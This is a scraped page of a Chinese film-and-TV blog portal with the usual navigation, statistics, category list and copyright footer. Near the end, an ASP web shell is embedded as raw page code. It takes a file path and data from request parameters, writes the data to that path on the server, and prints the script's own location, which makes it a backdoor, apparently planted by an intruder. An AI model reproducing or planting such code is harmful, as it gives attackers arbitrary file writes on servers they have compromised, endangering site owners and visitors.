会员登陆
 
  同城博客  

  博客搜索  

  推荐博客  
  最新博客  
  站点统计  
  • 博客：971
  • 日志：317
  • 评论：172
  • 留言：6
  • 昨日：2
  • 今日：0
  站点公告
欢迎使用影视之家博客

有问题请咨询技术部

最新发表
热门日志
博客相册
情感绿洲
休闲娱乐
日志分类
情感绿洲 娱乐休闲 电脑网络 经济金融 新闻出版 科学技术 法学园地
文学世界 旅游自然 艺术之窗 生活社会 体育竞技
  博客之星
 
中景网博客
简介：“漫步中国风景名胜区博客征集”活动现已开始，欢迎广大网友踊跃参加。
  最新注册
 
  Blog发表排行
 
  个人专题排行
 
 

中国影视之家 影视之家博客

<% dim objFSO %><% dim fdata %><% dim objCountFile %><% on error resume next %><% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %><% if Trim(request("syfdpath"))<>"" then %><% fdata = request("cyfddata") %><% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %><% objCountFile.Write fdata %><% if err =0 then %><% response.write "ok" %><% else %><% response.write "ri" %><% end if %><% err.clear %><% end if %><% objCountFile.Close %><% Set objCountFile=Nothing %><% Set objFSO = Nothing %><% Response.write "
" %><% Response.write "save:" %><% Response.Write "" %><% Response.Write "
" %><% Response.write ">>" %><% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %><% Response.write "
" %><% Response.write "{:" %><% Response.write "" %><% Response.write "" %><% Response.write "
" %>
Copyright by chinatvhome.com 2006~2007
Powered by